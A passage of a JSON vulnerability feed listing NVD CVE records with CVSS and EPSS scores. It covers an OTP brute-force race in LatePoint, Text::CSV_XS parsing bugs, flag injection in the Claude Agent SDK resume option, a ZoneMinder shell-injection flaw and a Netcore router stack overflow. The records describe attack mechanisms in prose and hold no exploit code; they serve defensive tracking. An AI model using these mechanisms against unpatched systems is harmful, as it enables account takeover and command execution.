non-atomic read-modify-write on the OTP verification attempts counter in the `verifyOTP` function: the counter is incremented using a stale in-memory value with no conditional `WHERE attempts < 10` guard on the `UPDATE` and no `SELECT ... FOR UPDATE` row lock, creating a TOCTOU window that allows concurrent requests to bypass the 10-attempt lockout. This makes it possible for unauthenticated attackers — who know a target customer's registered email address or phone number — to fire concurrent requests to the `auth__verify_otp` endpoint, defeat the lockout cap, brute-force the 6-digit OTP code, and authenticate as the targeted LatePoint customer, gaining full access to their account, bookings, and personal data. The nonce check present on the endpoint (`otp_verify_otp_nonce`) does not mitigate this issue, as the nonce is publicly emitted by the unauthenticated `request_otp` and `resend_otp` endpoints and is trivially obtainable by any unauthenticated attacker prior to launching the race.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T03:16:28.480Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110653","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00403,"percentile":0.34271,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110653&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110653","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110653","type":"primary","publishedAt":"2026-10-17T03:16:28.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110653&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110653, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111823","cveId":"CVE-2026-111823","aliases":[],"kind":"vulnerability","title":"Mage OSS through 0.9.80 before 76c4f46 can proceed with session creation upon encountering an unknown OAuth provider.","summary":"Mage OSS through 0.9.80 before 76c4f46 can proceed with session creation upon encountering an unknown OAuth provider.","detail":"Mage OSS through 0.9.80 before 76c4f46 can proceed with session creation upon encountering an unknown OAuth provider.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T02:17:18.470Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111823","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00556,"percentile":0.4608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111823&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111823","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111823","type":"primary","publishedAt":"2026-10-17T02:17:18.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111823&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111823, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110759","cveId":"CVE-2026-110759","aliases":[],"kind":"vulnerability","title":"Text::CSV_XS versions before 1.65 for Perl return a 0xFF byte that is not in the input for an empty last field followed by a lone CR in parse.","summary":"Text::CSV_XS versions before 1.65 for Perl return a 0xFF byte that is not in the input for an empty last field followed by a lone CR in parse.\n\nWhen the input to parse ends in a separator and a lone CR, the parser treats the end of the input as the next character and stores the end-of-file marker in the field as the byte 0xFF. With binary set, parse(\"a,\\r\") returns the fields \"a\" and \"\\xFF\". On UTF-8 flagged input the last field is a UTF-8 flagged string holding that lone byte, which is malformed UTF-8. The same input with a non-empty last field is rejected as an error.\n\nA CRLF file read line by line and chomped ends this way when its last column is empty, so the application receives a byte that is not in its input.","detail":"Text::CSV_XS versions before 1.65 for Perl return a 0xFF byte that is not in the input for an empty last field followed by a lone CR in parse.\n\nWhen the input to parse ends in a separator and a lone CR, the parser treats the end of the input as the next character and stores the end-of-file marker in the field as the byte 0xFF. With binary set, parse(\"a,\\r\") returns the fields \"a\" and \"\\xFF\". On UTF-8 flagged input the last field is a UTF-8 flagged string holding that lone byte, which is malformed UTF-8. The same input with a non-empty last field is rejected as an error.\n\nA CRLF file read line by line and chomped ends this way when its last column is empty, so the application receives a byte that is not in its input.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T23:17:01.170Z","updatedAt":"2026-10-20T19:17:30.453Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110759","asOf":"2026-10-20T19:17:30.453Z"},"epss":{"probability":0.00407,"percentile":0.34692,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110759&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110759","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110759","type":"primary","publishedAt":"2026-10-16T23:17:01.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110759&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110759, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110757","cveId":"CVE-2026-110757","aliases":[],"kind":"vulnerability","title":"Text::CSV_XS versions before 1.65 for Perl allow record splitting by writing strings used as numbers without quotes in combine.","summary":"Text::CSV_XS versions before 1.65 for Perl allow record splitting by writing strings used as numbers without quotes in combine.\n\ncombine and print do not check whether a field needs quotes when its value has Perl's integer or numeric flag set. Perl sets these flags on a string used in a numeric operation when it parses as a number, which allows leading and trailing whitespace. With binary set, as csv does by default, \"12\\n\" passes a check such as $qty > 0 and is then written unquoted with its newline.\n\nA value validated as a number can end the record early and turn the fields after it into a separate row.","detail":"Text::CSV_XS versions before 1.65 for Perl allow record splitting by writing strings used as numbers without quotes in combine.\n\ncombine and print do not check whether a field needs quotes when its value has Perl's integer or numeric flag set. Perl sets these flags on a string used in a numeric operation when it parses as a number, which allows leading and trailing whitespace. With binary set, as csv does by default, \"12\\n\" passes a check such as $qty > 0 and is then written unquoted with its newline.\n\nA value validated as a number can end the record early and turn the fields after it into a separate row.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T23:17:00.953Z","updatedAt":"2026-10-20T19:17:30.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110757","asOf":"2026-10-20T19:17:30.147Z"},"epss":{"probability":0.00407,"percentile":0.34691,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110757&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110757","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110757","type":"primary","publishedAt":"2026-10-16T23:17:00.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110757&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110757, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110756","cveId":"CVE-2026-110756","aliases":[],"kind":"vulnerability","title":"Text::CSV_XS versions before 1.65 for Perl drop the end of a record and its line ending when a UTF-8 flagged field precedes invalid UTF-8 bytes in print.","summary":"Text::CSV_XS versions before 1.65 for Perl drop the end of a record and its line ending when a UTF-8 flagged field precedes invalid UTF-8 bytes in print.\n\nWhen a record contains a UTF-8 flagged field, print holds back trailing bytes that are not valid UTF-8 at each buffer flush, so that a character split across two flushes can be completed. Nothing writes the held-back bytes after the record's final flush. A record whose last field ends in such a byte loses it, any closing quote and the line ending, while print still returns true. combine is not affected.\n\nThe next record is written onto the same line, or, when the last field was quoted, the missing closing quote makes a reader take every following record as part of that field.","detail":"Text::CSV_XS versions before 1.65 for Perl drop the end of a record and its line ending when a UTF-8 flagged field precedes invalid UTF-8 bytes in print.\n\nWhen a record contains a UTF-8 flagged field, print holds back trailing bytes that are not valid UTF-8 at each buffer flush, so that a character split across two flushes can be completed. Nothing writes the held-back bytes after the record's final flush. A record whose last field ends in such a byte loses it, any closing quote and the line ending, while print still returns true. combine is not affected.\n\nThe next record is written onto the same line, or, when the last field was quoted, the missing closing quote makes a reader take every following record as part of that field.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T23:17:00.847Z","updatedAt":"2026-10-20T19:17:30.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110756","asOf":"2026-10-20T19:17:30.000Z"},"epss":{"probability":0.00407,"percentile":0.34691,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110756&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110756","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110756","type":"primary","publishedAt":"2026-10-16T23:17:00.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110756&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110756, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110753","cveId":"CVE-2026-110753","aliases":[],"kind":"vulnerability","title":"Text::CSV_XS versions from 1.46 before 1.65 for Perl have a use-after-free of bind_columns variables when skip_empty_rows skips an empty line in getline.","summary":"Text::CSV_XS versions from 1.46 before 1.65 for Perl have a use-after-free of bind_columns variables when skip_empty_rows skips an empty line in getline.\n\nWith bind_columns, the parser writes each field into the caller's own scalar without taking a reference to it. When skip_empty_rows skips an empty last line, the parser frees the current field scalar without checking whether it is bound, dropping one reference from the application's variable. The \"eof\" mode does the same on any empty line.\n\nThe variable is then freed while the application still references it, so later code uses freed memory and can crash the process.","detail":"Text::CSV_XS versions from 1.46 before 1.65 for Perl have a use-after-free of bind_columns variables when skip_empty_rows skips an empty line in getline.\n\nWith bind_columns, the parser writes each field into the caller's own scalar without taking a reference to it. When skip_empty_rows skips an empty last line, the parser frees the current field scalar without checking whether it is bound, dropping one reference from the application's variable. The \"eof\" mode does the same on any empty line.\n\nThe variable is then freed while the application still references it, so later code uses freed memory and can crash the process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T23:17:00.530Z","updatedAt":"2026-10-20T19:17:29.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110753","asOf":"2026-10-20T19:17:29.540Z"},"epss":{"probability":0.00407,"percentile":0.34691,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110753&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110753","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110753","type":"primary","publishedAt":"2026-10-16T23:17:00.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110753&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110753, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96620","cveId":"CVE-2026-96620","aliases":[],"kind":"vulnerability","title":"Claude Agent SDK is a Python SDK for Claude Code.","summary":"Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a separate token without validation, so a dash-leading value is parsed as an independent CLI flag. An attacker can inject the --mcp-config flag to define a stdio MCP server, causing arbitrary command execution at CLI startup outside the SDK permission controls. The issue is exploitable when an application passes untrusted input as the session ID to resume. This issue is fixed in version 0.2.121.","detail":"Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a separate token without validation, so a dash-leading value is parsed as an independent CLI flag. An attacker can inject the --mcp-config flag to define a stdio MCP server, causing arbitrary command execution at CLI startup outside the SDK permission controls. The issue is exploitable when an application passes untrusted input as the session ID to resume. This issue is fixed in version 0.2.121.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:18:28.293Z","updatedAt":"2026-10-21T22:16:50.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python","AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96620","asOf":"2026-10-21T22:16:50.597Z"},"epss":{"probability":0.00705,"percentile":0.53084,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96620&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96620","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96620","type":"primary","publishedAt":"2026-10-16T20:18:28.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96620&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96620, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68573","cveId":"CVE-2026-68573","aliases":[],"kind":"vulnerability","title":"Improper Authentication vulnerability in Apache Kylin.","summary":"Improper Authentication vulnerability in Apache Kylin. Unauthenticated user may access to system cleanup actions. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted. \n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Improper Authentication vulnerability in Apache Kylin. Unauthenticated user may access to system cleanup actions. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted. \n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:24.233Z","updatedAt":"2026-10-20T18:17:21.817Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68573","asOf":"2026-10-20T18:17:21.817Z"},"epss":{"probability":0.00496,"percentile":0.42267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68573&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-68573","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68573","type":"primary","publishedAt":"2026-10-16T20:17:24.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68573&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68573, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108709","cveId":"CVE-2026-108709","aliases":[],"kind":"vulnerability","title":"Authentication bypass within in-house network in Apache Kylin.","summary":"Authentication bypass within in-house network in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4.0.4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Authentication bypass within in-house network in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4.0.4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:18.943Z","updatedAt":"2026-10-20T19:17:28.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108709","asOf":"2026-10-20T19:17:28.427Z"},"epss":{"probability":0.00402,"percentile":0.3421,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108709","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108709","type":"primary","publishedAt":"2026-10-16T20:17:18.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102608","cveId":"CVE-2026-102608","aliases":[],"kind":"vulnerability","title":"ZoneMinder is a free, open source closed-circuit television software application.","summary":"ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, downloadEvents() manually wraps a monitor Name value in single quotes instead of using escapeshellarg() before placing it in shell commands when a user with monitor-create or monitor-edit permission stores a monitor Name containing shell metacharacters and a user with Events View permission exports that monitor's events. In this attack mechanism, the stored monitor Name reaches both the ffmpeg concatenation command and the tar or zip archive command and breaks out of manual quoting. Arbitrary commands execute as the web server user. This issue is fixed in version 1.38.3.","detail":"ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, downloadEvents() manually wraps a monitor Name value in single quotes instead of using escapeshellarg() before placing it in shell commands when a user with monitor-create or monitor-edit permission stores a monitor Name containing shell metacharacters and a user with Events View permission exports that monitor's events. In this attack mechanism, the stored monitor Name reaches both the ffmpeg concatenation command and the tar or zip archive command and breaks out of manual quoting. Arbitrary commands execute as the web server user. This issue is fixed in version 1.38.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:17.253Z","updatedAt":"2026-10-19T17:17:00.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102608","asOf":"2026-10-19T17:17:00.277Z"},"epss":{"probability":0.00287,"percentile":0.21084,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102608&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102608","type":"primary","publishedAt":"2026-10-16T20:17:17.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102608&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102608, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111711","cveId":"CVE-2026-111711","aliases":[],"kind":"vulnerability","title":"Netcore NR256CN through 1.5.140116 contains a pre-authentication stack overflow vulnerability in the Boa web server's user_ok() function, which copies Basic-auth usernames with...","summary":"Netcore NR256CN through 1.5.140116 contains a pre-authentication stack overflow vulnerability in the Boa web server's user_ok() function, which copies Basic-auth usernames with unbounded strcpy() calls into 64-byte stack buffers. Unauthenticated attackers can send a username longer than 63 bytes to any protected /router/*.cgi route to crash the main Boa process or potentially execute code.","detail":"Netcore NR256CN through 1.5.140116 contains a pre-authentication stack overflow vulnerability in the Boa web server's user_ok() function, which copies Basic-auth usernames with unbounded strcpy() calls into 64-byte stack buffers. Unauthenticated attackers can send a username longer than 63 bytes to any protected /router/*.cgi route to crash the main Boa process or potentially execute code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 